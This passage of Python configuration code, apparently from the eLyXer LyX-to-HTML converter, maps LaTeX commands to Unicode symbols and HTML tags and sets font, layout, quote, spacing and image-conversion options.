u'\\ ':u' ', u'\\!':u'', u'\\#':u'#', u'\\$':u'$', u'\\%':u'%', u'\\&':u'&', u'\\,':u' ', u'\\:':u' ', u'\\;':u' ', u'\\APLdownarrowbox':u'⍗', u'\\APLleftarrowbox':u'⍇', u'\\APLrightarrowbox':u'⍈', u'\\APLuparrowbox':u'⍐', u'\\Box':u'□', u'\\Bumpeq':u'≎', u'\\CIRCLE':u'●', u'\\Cap':u'⋒', u'\\CheckedBox':u'☑', u'\\Circle':u'○', u'\\Coloneqq':u'⩴', u'\\Corresponds':u'≙', u'\\Cup':u'⋓', u'\\Delta':u'Δ', u'\\Diamond':u'◇', u'\\Downarrow':u'⇓', u'\\EUR':u'€', u'\\Game':u'⅁', u'\\Gamma':u'Γ', u'\\Im':u'ℑ', u'\\Join':u'⨝', u'\\LEFTCIRCLE':u'◖', u'\\LEFTcircle':u'◐', u'\\Lambda':u'Λ', u'\\Leftarrow':u'⇐', u'\\Lleftarrow':u'⇚', u'\\Longleftarrow':u'⟸', u'\\Longleftrightarrow':u'⟺', u'\\Longrightarrow':u'⟹', u'\\Lsh':u'↰', u'\\Mapsfrom':u'⇐|', u'\\Mapsto':u'|⇒', u'\\Omega':u'Ω', u'\\P':u'¶', u'\\Phi':u'Φ', u'\\Pi':u'Π', u'\\Pr':u'Pr', u'\\Psi':u'Ψ', u'\\RIGHTCIRCLE':u'◗', u'\\RIGHTcircle':u'◑', u'\\Re':u'ℜ', u'\\Rrightarrow':u'⇛', u'\\Rsh':u'↱', u'\\S':u'§', u'\\Sigma':u'Σ', u'\\Square':u'☐', u'\\Subset':u'⋐', u'\\Supset':u'⋑', u'\\Theta':u'Θ', u'\\Uparrow':u'⇑', u'\\Updownarrow':u'⇕', u'\\Upsilon':u'Υ', u'\\Vdash':u'⊩', u'\\Vert':u'∥', u'\\Vvdash':u'⊪', u'\\XBox':u'☒', u'\\Xi':u'Ξ', u'\\Yup':u'⅄', u'\\\\':u'<br/>', u'\\_':u'_', u'\\aleph':u'ℵ', u'\\amalg':u'∐', u'\\angle':u'∠', u'\\aquarius':u'♒', u'\\arccos':u'arccos', u'\\arcsin':u'arcsin', u'\\arctan':u'arctan', u'\\arg':u'arg', u'\\aries':u'♈', u'\\ast':u'∗', u'\\asymp':u'≍', u'\\backepsilon':u'∍', u'\\backprime':u'‵', u'\\backsimeq':u'⋍', u'\\backslash':u'\\', u'\\barwedge':u'⊼', u'\\because':u'∵', u'\\beth':u'ℶ', u'\\between':u'≬', u'\\bigcap':u'∩', u'\\bigcirc':u'○', u'\\bigcup':u'∪', u'\\bigodot':u'⊙', u'\\bigoplus':u'⊕', u'\\bigotimes':u'⊗', u'\\bigsqcup':u'⊔', u'\\bigstar':u'★', u'\\bigtriangledown':u'▽', u'\\bigtriangleup':u'△', u'\\biguplus':u'⊎', u'\\bigvee':u'∨', u'\\bigwedge':u'∧', u'\\blacklozenge':u'⧫', u'\\blacksmiley':u'☻', u'\\blacksquare':u'■', u'\\blacktriangle':u'▲', u'\\blacktriangledown':u'▼', u'\\blacktriangleright':u'▶', u'\\bot':u'⊥', u'\\bowtie':u'⋈', u'\\box':u'▫', u'\\boxdot':u'⊡', u'\\bullet':u'•', u'\\bumpeq':u'≏', u'\\cancer':u'♋', u'\\cap':u'∩', u'\\capricornus':u'♑', u'\\cdot':u'⋅', u'\\cdots':u'⋯', u'\\centerdot':u'∙', u'\\checkmark':u'✓', u'\\chi':u'χ', u'\\circ':u'○', u'\\circeq':u'≗', u'\\circledR':u'®', u'\\circledast':u'⊛', u'\\circledcirc':u'⊚', u'\\circleddash':u'⊝', u'\\clubsuit':u'♣', u'\\coloneqq':u'≔', u'\\complement':u'∁', u'\\cong':u'≅', u'\\coprod':u'∐', u'\\copyright':u'©', u'\\cos':u'cos', u'\\cosh':u'cosh', u'\\cot':u'cot', u'\\coth':u'coth', u'\\csc':u'csc', u'\\cup':u'∪', u'\\curvearrowleft':u'↶', u'\\curvearrowright':u'↷', u'\\dag':u'†', u'\\dagger':u'†', u'\\daleth':u'ℸ', u'\\dashleftarrow':u'⇠', u'\\dashv':u'⊣', u'\\ddag':u'‡', u'\\ddagger':u'‡', u'\\ddots':u'⋱', u'\\deg':u'deg', u'\\det':u'det', u'\\diagdown':u'╲', u'\\diagup':u'╱', u'\\diamond':u'◇', u'\\diamondsuit':u'♦', u'\\dim':u'dim', u'\\div':u'÷', u'\\divideontimes':u'⋇', u'\\dotdiv':u'∸', u'\\doteq':u'≐', u'\\doteqdot':u'≑', u'\\dotplus':u'∔', u'\\dots':u'…', u'\\doublebarwedge':u'⌆', u'\\downarrow':u'↓', u'\\downdownarrows':u'⇊', u'\\downharpoonleft':u'⇃', u'\\downharpoonright':u'⇂', u'\\earth':u'♁', u'\\ell':u'ℓ', u'\\emptyset':u'∅', u'\\eqcirc':u'≖', u'\\eqcolon':u'≕', u'\\eqsim':u'≂', u'\\euro':u'€', u'\\exists':u'∃', u'\\exp':u'exp', u'\\fallingdotseq':u'≒', u'\\female':u'♀', u'\\flat':u'♭', u'\\forall':u'∀', u'\\frown':u'⌢', u'\\frownie':u'☹', u'\\gcd':u'gcd', u'\\gemini':u'♊', u'\\geq)':u'≥', u'\\geqq':u'≧', u'\\geqslant':u'≥', u'\\gets':u'←', u'\\gg':u'≫', u'\\ggg':u'⋙', u'\\gimel':u'ℷ', u'\\gneqq':u'≩', u'\\gnsim':u'⋧', u'\\gtrdot':u'⋗', u'\\gtreqless':u'⋚', u'\\gtreqqless':u'⪌', u'\\gtrless':u'≷', u'\\gtrsim':u'≳', u'\\guillemotleft':u'«', u'\\guillemotright':u'»', u'\\hbar':u'ℏ', u'\\heartsuit':u'♥', u'\\hfill':u'<span class="hfill"> </span>', u'\\hom':u'hom', u'\\hookleftarrow':u'↩', u'\\hookrightarrow':u'↪', u'\\hslash':u'ℏ', u'\\idotsint':u'<span class="bigsymbol">∫⋯∫</span>', u'\\iiint':u'<span class="bigsymbol">∭</span>', u'\\iint':u'<span class="bigsymbol">∬</span>', u'\\imath':u'ı', u'\\inf':u'inf', u'\\infty':u'∞', u'\\invneg':u'⌐', u'\\jmath':u'ȷ', u'\\jupiter':u'♃', u'\\ker':u'ker', u'\\land':u'∧', u'\\landupint':u'<span class="bigsymbol">∱</span>', u'\\langle':u'⟨', u'\\lbrace':u'{', u'\\lbrace)':u'{', u'\\lbrack':u'[', u'\\lceil':u'⌈', u'\\ldots':u'…', u'\\leadsto':u'⇝', u'\\leftarrow)':u'←', u'\\leftarrowtail':u'↢', u'\\leftarrowtobar':u'⇤', u'\\leftharpoondown':u'↽', u'\\leftharpoonup':u'↼', u'\\leftleftarrows':u'⇇', u'\\leftleftharpoons':u'⥢', u'\\leftmoon':u'☾', u'\\leftrightarrow':u'↔', u'\\leftrightarrows':u'⇆', u'\\leftrightharpoons':u'⇋', u'\\leftthreetimes':u'⋋', u'\\leo':u'♌', u'\\leq)':u'≤', u'\\leqq':u'≦', u'\\leqslant':u'≤', u'\\lessdot':u'⋖', u'\\lesseqgtr':u'⋛', u'\\lesseqqgtr':u'⪋', u'\\lessgtr':u'≶', u'\\lesssim':u'≲', u'\\lfloor':u'⌊', u'\\lg':u'lg', u'\\lhd':u'⊲', u'\\libra':u'♎', u'\\lightning':u'↯', u'\\liminf':u'liminf', u'\\limsup':u'limsup', u'\\ll':u'≪', u'\\lll':u'⋘', u'\\ln':u'ln', u'\\lneqq':u'≨', u'\\lnot':u'¬', u'\\lnsim':u'⋦', u'\\log':u'log', u'\\longleftarrow':u'⟵', u'\\longleftrightarrow':u'⟷', u'\\longmapsto':u'⟼', u'\\longrightarrow':u'⟶', u'\\looparrowleft':u'↫', u'\\looparrowright':u'↬', u'\\lor':u'∨', u'\\lozenge':u'◊', u'\\ltimes':u'⋉', u'\\lyxlock':u'', u'\\male':u'♂', u'\\maltese':u'✠', u'\\mapsfrom':u'↤', u'\\mapsto':u'↦', u'\\mathcircumflex':u'^', u'\\max':u'max', u'\\measuredangle':u'∡', u'\\mercury':u'☿', u'\\mho':u'℧', u'\\mid':u'∣', u'\\min':u'min', u'\\models':u'⊨', u'\\mp':u'∓', u'\\multimap':u'⊸', u'\\nLeftarrow':u'⇍', u'\\nLeftrightarrow':u'⇎', u'\\nRightarrow':u'⇏', u'\\nVDash':u'⊯', u'\\nabla':u'∇', u'\\napprox':u'≉', u'\\natural':u'♮', u'\\ncong':u'≇', u'\\nearrow':u'↗', u'\\neg':u'¬', u'\\neg)':u'¬', u'\\neptune':u'♆', u'\\nequiv':u'≢', u'\\newline':u'<br/>', u'\\nexists':u'∄', u'\\ngeqslant':u'≱', u'\\ngtr':u'≯', u'\\ngtrless':u'≹', u'\\ni':u'∋', u'\\ni)':u'∋', u'\\nleftarrow':u'↚', u'\\nleftrightarrow':u'↮', u'\\nleqslant':u'≰', u'\\nless':u'≮', u'\\nlessgtr':u'≸', u'\\nmid':u'∤', u'\\nolimits':u'', u'\\nonumber':u'', u'\\not':u'¬', u'\\not<':u'≮', u'\\not=':u'≠', u'\\not>':u'≯', u'\\notbackslash':u'⍀', u'\\notin':u'∉', u'\\notni':u'∌', u'\\notslash':u'⌿', u'\\nparallel':u'∦', u'\\nprec':u'⊀', u'\\nrightarrow':u'↛', u'\\nsim':u'≁', u'\\nsimeq':u'≄', u'\\nsqsubset':u'⊏̸', u'\\nsubseteq':u'⊈', u'\\nsucc':u'⊁', u'\\nsucccurlyeq':u'⋡', u'\\nsupset':u'⊅', u'\\nsupseteq':u'⊉', u'\\ntriangleleft':u'⋪', u'\\ntrianglelefteq':u'⋬', u'\\ntriangleright':u'⋫', u'\\ntrianglerighteq':u'⋭', u'\\nvDash':u'⊭', u'\\nvdash':u'⊬', u'\\nwarrow':u'↖', u'\\odot':u'⊙', u'\\officialeuro':u'€', u'\\oiiint':u'<span class="bigsymbol">∰</span>', u'\\oiint':u'<span class="bigsymbol">∯</span>', u'\\oint':u'<span class="bigsymbol">∮</span>', u'\\ointclockwise':u'<span class="bigsymbol">∲</span>', u'\\ointctrclockwise':u'<span class="bigsymbol">∳</span>', u'\\ominus':u'⊖', u'\\oplus':u'⊕', u'\\oslash':u'⊘', u'\\otimes':u'⊗', u'\\owns':u'∋', u'\\parallel':u'∥', u'\\partial':u'∂', u'\\perp':u'⊥', u'\\pisces':u'♓', u'\\pitchfork':u'⋔', u'\\pluto':u'♇', u'\\pm':u'±', u'\\pointer':u'➪', u'\\pounds':u'£', u'\\prec':u'≺', u'\\preccurlyeq':u'≼', u'\\preceq':u'≼', u'\\precsim':u'≾', u'\\prime':u'′', u'\\prompto':u'∝', u'\\qquad':u' ', u'\\quad':u' ', u'\\quarternote':u'♩', u'\\rangle':u'⟩', u'\\rbrace':u'}', u'\\rbrace)':u'}', u'\\rbrack':u']', u'\\rceil':u'⌉', u'\\rfloor':u'⌋', u'\\rhd':u'⊳', u'\\rightarrow)':u'→', u'\\rightarrowtail':u'↣', u'\\rightarrowtobar':u'⇥', u'\\rightharpoondown':u'⇁', u'\\rightharpoonup':u'⇀', u'\\rightharpooondown':u'⇁', u'\\rightharpooonup':u'⇀', u'\\rightleftarrows':u'⇄', u'\\rightleftharpoons':u'⇌', u'\\rightmoon':u'☽', u'\\rightrightarrows':u'⇉', u'\\rightrightharpoons':u'⥤', u'\\rightthreetimes':u'⋌', u'\\risingdotseq':u'≓', u'\\rtimes':u'⋊', u'\\sagittarius':u'♐', u'\\saturn':u'♄', u'\\scorpio':u'♏', u'\\searrow':u'↘', u'\\sec':u'sec', u'\\setminus':u'∖', u'\\sharp':u'♯', u'\\simeq':u'≃', u'\\sin':u'sin', u'\\sinh':u'sinh', u'\\slash':u'∕', u'\\smile':u'⌣', u'\\smiley':u'☺', u'\\spadesuit':u'♠', u'\\sphericalangle':u'∢', u'\\sqcap':u'⊓', u'\\sqcup':u'⊔', u'\\sqsubset':u'⊏', u'\\sqsubseteq':u'⊑', u'\\sqsupset':u'⊐', u'\\sqsupseteq':u'⊒', u'\\square':u'□', u'\\star':u'⋆', u'\\subseteqq':u'⫅', u'\\subsetneqq':u'⫋', u'\\succ':u'≻', u'\\succcurlyeq':u'≽', u'\\succeq':u'≽', u'\\succnsim':u'⋩', u'\\succsim':u'≿', u'\\sun':u'☼', u'\\sup':u'sup', u'\\supseteqq':u'⫆', u'\\supsetneqq':u'⫌', u'\\surd':u'√', u'\\swarrow':u'↙', u'\\tan':u'tan', u'\\tanh':u'tanh', u'\\taurus':u'♉', u'\\textasciicircum':u'^', u'\\textasciitilde':u'~', u'\\textbackslash':u'\\', u'\\textcopyright':u'©\'', u'\\textdegree':u'°', u'\\textellipsis':u'…', u'\\textemdash':u'—', u'\\textendash':u'—', u'\\texteuro':u'€', u'\\textgreater':u'>', u'\\textless':u'<', u'\\textordfeminine':u'ª', u'\\textordmasculine':u'º', u'\\textquotedblleft':u'“', u'\\textquotedblright':u'”', u'\\textquoteright':u'’', u'\\textregistered':u'®', u'\\textrightarrow':u'→', u'\\textsection':u'§', u'\\texttrademark':u'™', u'\\texttwosuperior':u'²', u'\\textvisiblespace':u' ', u'\\therefore':u'∴', u'\\top':u'⊤', u'\\triangle':u'△', u'\\triangleleft':u'⊲', u'\\trianglelefteq':u'⊴', u'\\triangleq':u'≜', u'\\triangleright':u'▷', u'\\trianglerighteq':u'⊵', u'\\twoheadleftarrow':u'↞', u'\\twoheadrightarrow':u'↠', u'\\twonotes':u'♫', u'\\udot':u'⊍', u'\\unlhd':u'⊴', u'\\unrhd':u'⊵', u'\\unrhl':u'⊵', u'\\uparrow':u'↑', u'\\updownarrow':u'↕', u'\\upharpoonleft':u'↿', u'\\upharpoonright':u'↾', u'\\uplus':u'⊎', u'\\upuparrows':u'⇈', u'\\uranus':u'♅', u'\\vDash':u'⊨', u'\\varclubsuit':u'♧', u'\\vardiamondsuit':u'♦', u'\\varheartsuit':u'♥', u'\\varnothing':u'∅', u'\\varspadesuit':u'♤', u'\\vdash':u'⊢', u'\\vdots':u'⋮', u'\\vee':u'∨', u'\\vee)':u'∨', u'\\veebar':u'⊻', u'\\vert':u'∣', u'\\virgo':u'♍', u'\\wedge':u'∧', u'\\wedge)':u'∧', u'\\wp':u'℘', u'\\wr':u'≀', u'\\yen':u'¥', u'\\{':u'{', u'\\|':u'∥', u'\\}':u'}', } decoratedcommand = { } decoratingfunctions = { u'\\overleftarrow':u'⟵', u'\\overrightarrow':u'⟶', u'\\widehat':u'^', } endings = { u'bracket':u'}', u'complex':u'\\]', u'endafter':u'}', u'endbefore':u'\\end{', u'squarebracket':u']', } environments = { u'align':[u'r',u'l',], u'eqnarray':[u'r',u'c',u'l',], u'gathered':[u'l',u'l',], } fontfunctions = { u'\\boldsymbol':u'b', u'\\mathbb':u'span class="blackboard"', u'\\mathbb{A}':u'𝔸', u'\\mathbb{B}':u'𝔹', u'\\mathbb{C}':u'ℂ', u'\\mathbb{D}':u'𝔻', u'\\mathbb{E}':u'𝔼', u'\\mathbb{F}':u'𝔽', u'\\mathbb{G}':u'𝔾', u'\\mathbb{H}':u'ℍ', u'\\mathbb{J}':u'𝕁', u'\\mathbb{K}':u'𝕂', u'\\mathbb{L}':u'𝕃', u'\\mathbb{N}':u'ℕ', u'\\mathbb{O}':u'𝕆', u'\\mathbb{P}':u'ℙ', u'\\mathbb{Q}':u'ℚ', u'\\mathbb{R}':u'ℝ', u'\\mathbb{S}':u'𝕊', u'\\mathbb{T}':u'𝕋', u'\\mathbb{W}':u'𝕎', u'\\mathbb{Z}':u'ℤ', u'\\mathbf':u'b', u'\\mathcal':u'span class="scriptfont"', u'\\mathcal{B}':u'ℬ', u'\\mathcal{E}':u'ℰ', u'\\mathcal{F}':u'ℱ', u'\\mathcal{H}':u'ℋ', u'\\mathcal{I}':u'ℐ', u'\\mathcal{L}':u'ℒ', u'\\mathcal{M}':u'ℳ', u'\\mathcal{R}':u'ℛ', u'\\mathfrak':u'span class="fraktur"', u'\\mathfrak{C}':u'ℭ', u'\\mathfrak{F}':u'𝔉', u'\\mathfrak{H}':u'ℌ', u'\\mathfrak{I}':u'ℑ', u'\\mathfrak{R}':u'ℜ', u'\\mathfrak{Z}':u'ℨ', u'\\mathit':u'i', u'\\mathring{A}':u'Å', u'\\mathring{U}':u'Ů', u'\\mathring{a}':u'å', u'\\mathring{u}':u'ů', u'\\mathring{w}':u'ẘ', u'\\mathring{y}':u'ẙ', u'\\mathrm':u'span class="mathrm"', u'\\mathscr':u'span class="scriptfont"', u'\\mathscr{B}':u'ℬ', u'\\mathscr{E}':u'ℰ', u'\\mathscr{F}':u'ℱ', u'\\mathscr{H}':u'ℋ', u'\\mathscr{I}':u'ℐ', u'\\mathscr{L}':u'ℒ', u'\\mathscr{M}':u'ℳ', u'\\mathscr{R}':u'ℛ', u'\\mathsf':u'span class="mathsf"', u'\\mathtt':u'tt', } hybridfunctions = { u'\\binom':[u'{$1}{$2}',u'f2{(}f0{f1{$1}f1{$2}}f2{)}',u'span class="binom"',u'span class="binomstack"',u'span class="bigsymbol"',], u'\\boxed':[u'{$1}',u'f0{$1}',u'span class="boxed"',], u'\\cfrac':[u'[$p!]{$1}{$2}',u'f0{f3{(}f1{$1}f3{)/(}f2{$2}f3{)}}',u'span class="fullfraction"',u'span class="numerator align-$p"',u'span class="denominator"',u'span class="ignored"',], u'\\color':[u'{$p!}{$1}',u'f0{$1}',u'span style="color: $p;"',], u'\\colorbox':[u'{$p!}{$1}',u'f0{$1}',u'span class="colorbox" style="background: $p;"',], u'\\dbinom':[u'{$1}{$2}',u'(f0{f1{f2{$1}}f1{f2{ }}f1{f2{$2}}})',u'span class="binomial"',u'span class="binomrow"',u'span class="binomcell"',], u'\\dfrac':[u'{$1}{$2}',u'f0{f3{(}f1{$1}f3{)/(}f2{$2}f3{)}}',u'span class="fullfraction"',u'span class="numerator"',u'span class="denominator"',u'span class="ignored"',], u'\\displaystyle':[u'{$1}',u'f0{$1}',u'span class="displaystyle"',], u'\\fbox':[u'{$1}',u'f0{$1}',u'span class="fbox"',], u'\\fboxrule':[u'{$p!}',u'f0{}',u'ignored',], u'\\fboxsep':[u'{$p!}',u'f0{}',u'ignored',], u'\\fcolorbox':[u'{$p!}{$q!}{$1}',u'f0{$1}',u'span class="boxed" style="border-color: $p; background: $q;"',], u'\\frac':[u'{$1}{$2}',u'f0{f3{(}f1{$1}f3{)/(}f2{$2}f3{)}}',u'span class="fraction"',u'span class="numerator"',u'span class="denominator"',u'span class="ignored"',], u'\\framebox':[u'[$p!][$q!]{$1}',u'f0{$1}',u'span class="framebox align-$q" style="width: $p;"',], u'\\href':[u'[$o]{$u!}{$t!}',u'f0{$t}',u'a href="$u"',], u'\\hspace':[u'{$p!}',u'f0{ }',u'span class="hspace" style="width: $p;"',], u'\\leftroot':[u'{$p!}',u'f0{ }',u'span class="leftroot" style="width: $p;px"',], u'\\nicefrac':[u'{$1}{$2}',u'f0{f1{$1}⁄f2{$2}}',u'span class="fraction"',u'sup class="numerator"',u'sub class="denominator"',u'span class="ignored"',], u'\\parbox':[u'[$p!]{$w!}{$1}',u'f0{1}',u'div class="Boxed" style="width: $w;"',], u'\\raisebox':[u'{$p!}{$1}',u'f0{$1.font}',u'span class="raisebox" style="vertical-align: $p;"',], u'\\renewenvironment':[u'{$1!}{$2!}{$3!}',u'',], u'\\rule':[u'[$v!]{$w!}{$h!}',u'f0/',u'hr class="line" style="width: $w; height: $h;"',], u'\\scriptscriptstyle':[u'{$1}',u'f0{$1}',u'span class="scriptscriptstyle"',], u'\\scriptstyle':[u'{$1}',u'f0{$1}',u'span class="scriptstyle"',], u'\\sqrt':[u'[$0]{$1}',u'f0{f1{$0}f2{√}f4{(}f3{$1}f4{)}}',u'span class="sqrt"',u'sup class="root"',u'span class="radical"',u'span class="root"',u'span class="ignored"',], u'\\stackrel':[u'{$1}{$2}',u'f0{f1{$1}f2{$2}}',u'span class="stackrel"',u'span class="upstackrel"',u'span class="downstackrel"',], u'\\tbinom':[u'{$1}{$2}',u'(f0{f1{f2{$1}}f1{f2{ }}f1{f2{$2}}})',u'span class="binomial"',u'span class="binomrow"',u'span class="binomcell"',], u'\\textcolor':[u'{$p!}{$1}',u'f0{$1}',u'span style="color: $p;"',], u'\\textstyle':[u'{$1}',u'f0{$1}',u'span class="textstyle"',], u'\\unit':[u'[$0]{$1}',u'$0f0{$1.font}',u'span class="unit"',], u'\\unitfrac':[u'[$0]{$1}{$2}',u'$0f0{f1{$1.font}⁄f2{$2.font}}',u'span class="fraction"',u'sup class="unit"',u'sub class="unit"',], u'\\uproot':[u'{$p!}',u'f0{ }',u'span class="uproot" style="width: $p;px"',], u'\\url':[u'{$u!}',u'f0{$u}',u'a href="$u"',], u'\\vspace':[u'{$p!}',u'f0{ }',u'span class="vspace" style="height: $p;"',], } hybridsizes = { u'\\binom':u'$1+$2', u'\\cfrac':u'$1+$2', u'\\dbinom':u'$1+$2+1', u'\\dfrac':u'$1+$2', u'\\frac':u'$1+$2', u'\\tbinom':u'$1+$2+1', } labelfunctions = { u'\\label':u'a name="#"', } limitcommands = { u'\\int':u'∫', u'\\intop':u'∫', u'\\lim':u'lim', u'\\prod':u'∏', u'\\smallint':u'∫', u'\\sum':u'∑', } # TODO: setting for simple enlarged vs. piecewise symbols for key in (u'\\int', u'\\intop', u'\\prod', u'\\sum'): limitcommands[key] = '<span class="symbol">%s</span>' % limitcommands[key] misccommands = { u'\\limits':u'LimitPreviousCommand', u'\\newcommand':u'MacroDefinition', u'\\renewcommand':u'MacroDefinition', u'\\setcounter':u'SetCounterFunction', u'\\tag':u'FormulaTag', u'\\tag*':u'FormulaTag', } modified = { u'\n':u'', u' ':u'', u'$':u'', u'&':u' ', u'\'':u'’', u'+':u' + ', u',':u', ', u'-':u' − ', u'/':u' ⁄ ', u'<':u' &lt; ', u'=':u' = ', u'>':u' &gt; ', u'@':u'', u'~':u'', } onefunctions = { u'\\Big':u'span class="bigsymbol"', u'\\Bigg':u'span class="hugesymbol"', u'\\bar':u'span class="bar"', u'\\begin{array}':u'span class="arraydef"', u'\\big':u'span class="symbol"', u'\\bigg':u'span class="largesymbol"', u'\\bigl':u'span class="bigsymbol"', u'\\bigr':u'span class="bigsymbol"', u'\\centering':u'span class="align-center"', u'\\ensuremath':u'span class="ensuremath"', u'\\hphantom':u'span class="phantom"', u'\\noindent':u'span class="noindent"', u'\\overbrace':u'span class="overbrace"', u'\\overline':u'span class="overline"', u'\\phantom':u'span class="phantom"', u'\\underbrace':u'span class="underbrace"', u'\\underline':u'u', u'\\vphantom':u'span class="phantom"', } spacedcommands = { u'\\Leftrightarrow':u'⇔', u'\\Rightarrow':u'⇒', u'\\approx':u'≈', u'\\dashrightarrow':u'⇢', u'\\equiv':u'≡', u'\\ge':u'≥', u'\\geq':u'≥', u'\\implies':u' ⇒ ', u'\\in':u'∈', u'\\le':u'≤', u'\\leftarrow':u'←', u'\\leq':u'≤', u'\\ne':u'≠', u'\\neq':u'≠', u'\\not\\in':u'∉', u'\\propto':u'∝', u'\\rightarrow':u'→', u'\\rightsquigarrow':u'⇝', u'\\sim':u'~', u'\\subset':u'⊂', u'\\subseteq':u'⊆', u'\\supset':u'⊃', u'\\supseteq':u'⊇', u'\\times':u'×', u'\\to':u'→', } starts = { u'beginafter':u'}', u'beginbefore':u'\\begin{', u'bracket':u'{', u'command':u'\\', u'comment':u'%', u'complex':u'\\[', u'simple':u'$', u'squarebracket':u'[', u'unnumbered':u'*', } symbolfunctions = { u'^':u'sup', u'_':u'sub', } textfunctions = { u'\\mbox':u'span class="mbox"', u'\\text':u'span class="text"', u'\\textbf':u'b', u'\\textipa':u'span class="textipa"', u'\\textit':u'i', u'\\textnormal':u'span class="textnormal"', u'\\textrm':u'span class="textrm"', u'\\textsc':u'span class="versalitas"', u'\\textsf':u'span class="textsf"', u'\\textsl':u'i', u'\\texttt':u'tt', u'\\textup':u'span class="normal"', } unmodified = { u'characters':[u'.',u'*',u'€',u'(',u')',u'[',u']',u':',u'·',u'!',u';',u'|',u'§',u'"',], } urls = { u'googlecharts':u'http://chart.googleapis.com/chart?cht=tx&chl=', } class GeneralConfig(object): "Configuration class from elyxer.config file" version = { u'date':u'2011-06-27', u'lyxformat':u'413', u'number':u'1.2.3', } class HeaderConfig(object): "Configuration class from elyxer.config file" parameters = { u'beginpreamble':u'\\begin_preamble', u'branch':u'\\branch', u'documentclass':u'\\textclass', u'endbranch':u'\\end_branch', u'endpreamble':u'\\end_preamble', u'language':u'\\language', u'lstset':u'\\lstset', u'outputchanges':u'\\output_changes', u'paragraphseparation':u'\\paragraph_separation', u'pdftitle':u'\\pdf_title', u'secnumdepth':u'\\secnumdepth', u'tocdepth':u'\\tocdepth', } styles = { u'article':[u'article',u'aastex',u'aapaper',u'acmsiggraph',u'sigplanconf',u'achemso',u'amsart',u'apa',u'arab-article',u'armenian-article',u'article-beamer',u'chess',u'dtk',u'elsarticle',u'heb-article',u'IEEEtran',u'iopart',u'kluwer',u'scrarticle-beamer',u'scrartcl',u'extarticle',u'paper',u'mwart',u'revtex4',u'spie',u'svglobal3',u'ltugboat',u'agu-dtd',u'jgrga',u'agums',u'entcs',u'egs',u'ijmpc',u'ijmpd',u'singlecol-new',u'doublecol-new',u'isprs',u'tarticle',u'jsarticle',u'jarticle',u'jss',u'literate-article',u'siamltex',u'cl2emult',u'llncs',u'svglobal',u'svjog',u'svprobth',], u'book':[u'book',u'amsbook',u'scrbook',u'extbook',u'tufte-book',u'report',u'extreport',u'scrreprt',u'memoir',u'tbook',u'jsbook',u'jbook',u'mwbk',u'svmono',u'svmult',u'treport',u'jreport',u'mwrep',], } class ImageConfig(object): "Configuration class from elyxer.config file" converters = { u'imagemagick':u'convert[ -density $scale][ -define $format:use-cropbox=true] "$input" "$output"', u'inkscape':u'inkscape "$input" --export-png="$output"', } cropboxformats = { u'.eps':u'ps', u'.pdf':u'pdf', u'.ps':u'ps', } formats = { u'default':u'.png', u'vector':[u'.svg',u'.eps',], } class LayoutConfig(object): "Configuration class from elyxer.config file" groupable = { u'allowed':[u'StringContainer',u'Constant',u'TaggedText',u'Align',u'TextFamily',u'EmphaticText',u'VersalitasText',u'BarredText',u'SizeText',u'ColorText',u'LangLine',u'Formula',], } class NewfangleConfig(object): "Configuration class from elyxer.config file" constants = { u'chunkref':u'chunkref{', u'endcommand':u'}', u'endmark':u'&gt;', u'startcommand':u'\\', u'startmark':u'=&lt;', } class NumberingConfig(object): "Configuration class from elyxer.config file" layouts = { u'ordered':[u'Chapter',u'Section',u'Subsection',u'Subsubsection',u'Paragraph',], u'roman':[u'Part',u'Book',], } sequence = { u'symbols':[u'*',u'**',u'†',u'‡',u'§',u'§§',u'¶',u'¶¶',u'#',u'##',], } class StyleConfig(object): "Configuration class from elyxer.config file" hspaces = { u'\\enskip{}':u' ', u'\\hfill{}':u'<span class="hfill"> </span>', u'\\hspace*{\\fill}':u' ', u'\\hspace*{}':u'', u'\\hspace{}':u' ', u'\\negthinspace{}':u'', u'\\qquad{}':u'  ', u'\\quad{}':u' ', u'\\space{}':u' ', u'\\thinspace{}':u' ', u'~':u' ', } quotes = { u'ald':u'»', u'als':u'›', u'ard':u'«', u'ars':u'‹', u'eld':u'&ldquo;', u'els':u'&lsquo;', u'erd':u'&rdquo;', u'ers':u'&rsquo;', u'fld':u'«', u'fls':u'‹', u'frd':u'»', u'frs':u'›', u'gld':u'„', u'gls':u'‚', u'grd':u'“', u'grs':u'‘', u'pld':u'„', u'pls':u'‚', u'prd':u'”', u'prs':u'’', u'sld':u'”', u'srd':u'”', } referenceformats = { u'eqref':u'(@↕)', u'formatted':u'¶↕', u'nameref':u'$↕', u'pageref':u'#↕', u'ref':u'@↕', u'vpageref':u'on-page#↕', u'vref':u'@on-page#↕', } size = { u'ignoredtexts':[u'col',u'text',u'line',u'page',u'theight',u'pheight',], } vspaces = { u'bigskip':u'<div class="bigskip"> </div>', u'defskip':u'<div class="defskip"> </div>', u'medskip':u'<div class="medskip"> </div>', u'smallskip':u'<div class="smallskip"> </div>', u'vfill':u'<div class="vfill"> </div>', } class TOCConfig(object): "Configuration class from elyxer.config file" extractplain = { u'allowed':[u'StringContainer',u'Constant',u'TaggedText',u'Align',u'TextFamily',u'EmphaticText',u'VersalitasText',u'BarredText',u'SizeText',u'ColorText',u'LangLine',u'Formula',], u'cloned':[u'',], u'extracted':[u'',], } extracttitle = { u'allowed':[u'StringContainer',u'Constant',u'Space',], u'cloned':[u'TextFamily',u'EmphaticText',u'VersalitasText',u'BarredText',u'SizeText',u'ColorText',u'LangLine',u'Formula',], u'extracted':[u'PlainLayout',u'TaggedText',u'Align',u'Caption',u'StandardLayout',u'FlexInset',], } class TagConfig(object): "Configuration class from elyxer.config file" barred = { u'under':u'u', } family = { u'sans':u'span class="sans"', u'typewriter':u'tt', } flex = { u'CharStyle:Code':u'span class="code"', u'CharStyle:MenuItem':u'span class="menuitem"', u'Code':u'span class="code"', u'MenuItem':u'span class="menuitem"', u'Noun':u'span class="noun"', u'Strong':u'span class="strong"', } group = { u'layouts':[u'Quotation',u'Quote',], } layouts = { u'Center':u'div', u'Chapter':u'h?', u'Date':u'h2', u'Paragraph':u'div', u'Part':u'h1', u'Quotation':u'blockquote', u'Quote':u'blockquote', u'Section':u'h?', u'Subsection':u'h?', u'Subsubsection':u'h?', } listitems = { u'Enumerate':u'ol', u'Itemize':u'ul', } notes = { u'Comment':u'', u'Greyedout':u'span class="greyedout"', u'Note':u'', } shaped = { u'italic':u'i', u'slanted':u'i', u'smallcaps':u'span class="versalitas"', } class TranslationConfig(object): "Configuration class from elyxer.config file" constants = { u'Appendix':u'Appendix', u'Book':u'Book', u'Chapter':u'Chapter', u'Paragraph':u'Paragraph', 